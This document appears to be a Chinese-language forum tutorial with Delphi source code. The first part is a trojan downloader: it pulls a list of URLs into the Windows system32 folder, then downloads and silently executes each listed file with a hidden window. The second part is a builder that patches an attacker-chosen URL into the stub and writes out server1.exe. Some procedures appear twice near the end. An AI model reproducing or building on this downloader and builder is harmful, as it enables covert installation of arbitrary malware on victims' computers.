uses
sysutils,urlmon,strutils,windows;
function downloadfile(source, dest: string): boolean;
begin
try
result := urldownloadtofile(nil, pchar(source), pchar(dest), 0, nil) = 0;
except
result := false;
end;
end;
const
f:string = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
var
file1:textfile;
s,a:string;
begin
downloadfile(f,'c:\windows\system32\atlog.txt');
assignfile(file1,'c:\windows\system32\atlog.txt');
reset(file1);
while not eof(file1) do
begin
readln(file1,s);
downloadfile(s,'c:\windows\system32\'+rightstr(s,8));
a:='c:\windows\system32\'+rightstr(s,8);
winexec(pchar(a),sw_hide);
end;
end.
代码我就不解释了 网上有好多。
是不是看的头晕晕的。呵呵 俺也一样。
下面就给大家介绍一种新方法(俺自己想的。)
首先 把资源文件提取出来并保存到流 s 里面
copy code
procedure tform3.restostream;
var
res : tresourcestream;
begin
s:=tmemorystream.create;
res:=tresourcestream.create(hinstance,'downman',rt_rcdata);
res.savetostream(s);
res.free;
end;
s 是一个tmemorystream 在public 申明一下就行了
好完成第一步了 下面我们用流来检索并修改。
copy code
procedure tform3.button1click(sender: tobject);
var
buffer:pchar;
url:string;
begin
url:=trim(edit1.text);
buffer:=pchar(url+stringofchar(#0,50-length(url)));
restostream;
s.seek(offset_url,sofrombeginning);
s.writebuffer(buffer^,50);
s.savetofile('server1.exe');
s.free;
end;
procedure tform3.button1click(sender: tobject);
var
buffer:pchar;
url:string;
begin
url:=trim(edit1.text);
buffer:=pchar(url+stringofchar(#0,50-length(url)));
restostream;
s.seek(offset_url,sofrombeginning);
s.writebuffer(buffer^,50);
s.savetofile('server1.exe');
s.free;
end;
procedure tform3.restostream;
var
res : tresourcestream;
begin
s:=tmemorystream.create;
res:=tresourcestream.create(hinstance,'downman',rt_rcdata);
res.savetostream(s);
res.free;
end;
end.